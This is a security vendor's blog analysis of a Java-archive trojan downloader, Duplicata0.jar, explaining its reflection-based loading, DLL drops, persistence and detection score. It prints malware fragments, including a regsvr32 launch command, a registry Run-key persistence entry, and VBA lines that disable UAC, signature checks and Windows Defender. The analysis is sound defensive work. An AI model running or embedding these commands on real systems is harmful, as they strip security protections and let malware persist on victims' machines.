Malware uses Java Archive (JAR)

Sep 06th 2016

What’s old is new again – Malware uses two-decade old technology to evade detection

Say what you will about cybercriminals, there is surely no corner of the tech world that embraces fast innovation better.  They certainly have the motivation. Their payoff only occurs once malware jumps through multiple hurdles, bypassing and evading whatever security barriers our industry puts in front of them. Even then, they still have to successfully social-engineer a victim into unwitting collaboration in installing the payload.
Sometimes what’s old is new again, and success means resurrecting old approaches.  We’ve seen this recently in a new wave of malware detected by VMRay that uses Java archives.
A JAR (Java archive) is a package file format. It can be used as Java library or as standalone application. This dates back to the dawn of (Internet) time – that is to say, 1995 – when Java applets were first introduced by Sun and were widely used to add animation and interactivity to websites.
These Java applets can be embedded in websites with simple code snippets like:

<applet code=JarRsrcLoader.class
archive="Duplicata0.jar"
width=120 height=120>
</applet>

The code snippet in this example runs the JarRsrcLoader.class when somebody visits the website. On Windows it is possible to execute java archives with a double click if Java is installed.
You can see where this is going – get a user to double-click on a malicious JAR file and, if Java is already installed (and the chances are about 89% this will be the case) the malware author is almost home free.

 

Analysis of Duplicata0.jar

One of the JAR samples we received was named Duplicata0.jar. At the time of analysis it had a modest 10/55 detections on Virustotal. It executes using reflection on an obfuscated java file. Reflection is the ability of a computer program to examine, introspect, and modify its own structure and behavior at runtime.
In this case, Duplicata0.jar uses reflection to obfuscate the program control flow.

 

 

Fig. 1 shows the structure of the JAR file. There is a Manifest file and two packages.

Manifest-Version: 1.0
Rsrc-Class-Path: ./
Class-Path: .
Rsrc-Main-Class: dgerssdf.D0wnF1le
Main-Class: org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader

The Manifest file (above) shows that the entry point (Main-Class) is the class JarRsrcLoader. Inside this class is a code snippet that uses reflection to call the method main from the D0wnF1le class:

ClassLoader jceClassLoader = new URLClassLoader(rsrcUrls, null);
Thread.currentThread().setContextClassLoader(jceClassLoader);
Class dropper = Class.forName(mi.rsrcMainClass, true, jceClassLoader);
Method callDropperMain = dropper.getMethod("main", new Class[] { args.getClass() });
callDropperMain.invoke(null, new Object[] { args });

Specifically, the class dropper loads D0wnF1le out of the resources as a class. From there the class dropper points to the method main and calls it with the invoke command.
At this point the obfuscated D0wnF1le starts running. It downloads three files:

ljk32g1.txt
ljk32g2.txt
ljk32g4.txt

from a command and control server, renames them in a pseudo-random way and drops them into the folder “C:\User\Public\<randomfoldername>\”. Apart from the first (ljk32g1.txt) these innocent-looking text files are in reality zip-compressed dynamic link libraries, or DLLs.
This is another bluff, because DLLs are not stand alone executables. But how does the malware author get these DLLs to run? The answer can be found in the last line of the obfuscated D0wnF1le code:

Runtime.getRuntime().exec(
     cfusd1730decryptcfusd1730("SJDIPIRJEJHJDGPGOGKIPJJIPFVGLJEFVIGFX",
     cfusd1730cCODcfusd1730) + cfusd1730sPastaRaizcfusd1730 +  
     cfusd1730sNomeMaq5cfusd1730 + cfusd1730decryptcfusd1730("OINGK",
     cfusd1730cCODcfusd1730) + "." + cfusd1730sExtensaocfusd1730 +  
     cfusd1730decryptcfusd1730("OICFTFRFU", cfusd1730cCODcfusd1730) +
     cfusd1730cCODcfusd1730.toString()   );

which when de-obfuscated looks like this:

Runtime.getRuntime().exec(
“regsvr32.exe /s \”C:\\Users\\Public\\<randomfoldername>\\ljk32g-2.dll\” #96” );

This command starts the executable regsvr32.exe in silent mode which registers the ljk32g-2.dll as a service. As this DLL is running it will inject the second DLL (ljk32g-4.dll) into explorer.exe. Now the malware is ready to wreak havoc. First, it writes the command:

regsvr32.exe /s \”C:\\Users\\Public\\<randomfoldername>\\ljk32g-2.dll\” #96

into HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run in the registry (for persistence) . This guarantees that the malware survives a reboot of the computer.
The malware now drops a VBA script and runs it. This script disables the signature check for executables downloaded by Internet Explorer. It also disables Windows Defender and any Windows Security Center notifications.

okokCHAVE7.RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA"), 0, ("REG_DWORD")
okokCHAVE7.RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin"), 0, ("REG_DWORD")
okokCHAVE7.RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop"), 0, ("REG_DWORD")
okokCHAVE7.RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\CheckExeSignatures"), ("no")
okokCHAVE7.RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\RunInvalidSignatures"), ("00000001")
okokCHAVE7.RegWrite ("HKLM\Software\Microsoft\Security Center\AntiVirusDisableNotify"), 00000001, ("REG_DWORD")
okokCHAVE7.RegWrite ("HKLM\Software\Microsoft\Security Center\UpdatesDisableNotify"), 00000001, ("REG_DWORD")
okokCHAVE7.run ("sc config WinDefend start= disabled"),0

After that the malware will force a reboot. Now comes another interesting part. If the reboot is done, it isn’t the malware that starts first. Instead the trusted Windows program regsvr32 starts the malicious DLL, which then injects code into explorer.exe and the game begins again.

 

 

We can see this more clearly in the process graph of just the reboot:

 

 

Conclusion

This kind of malware leverages a lot of tricks with Java archives, code injection and DLLs to evade detection. Nevertheless, it leaves a lot of traces during execution that are easily detected by VMRay. We can see this in the VMRay Threat Indicator (VTI) results:

 

 

VMRay ranks the Duplicata0.jar with a score of 94/100 – definitely very malicious!
First and foremost, disabling Windows security features will always score as highly malicious. Additionally, we see other behavior typical of malware: code injection, persistence, analysis evasion, downloading of payloads and more. This is in many ways a generic trojan downloader, the final result of the infection, whether a bot or ransomware, dependent on the payload and instructions downloaded at the time. The output of the VTI score is available in STIX/CYBOX format for use as IOCs. You can see the full VMRay Analyzer report here.

Related links

http://www.vmray.com/analyses/4199064/report/overview.html
https://en.wikipedia.org/wiki/Java_applet
https://www.java.com/en/about/
https://www.virustotal.com/de/file/a2b467819bd03974f8b4ac326d9d488eb80680ee43cea984e160922122f1f048/analysis/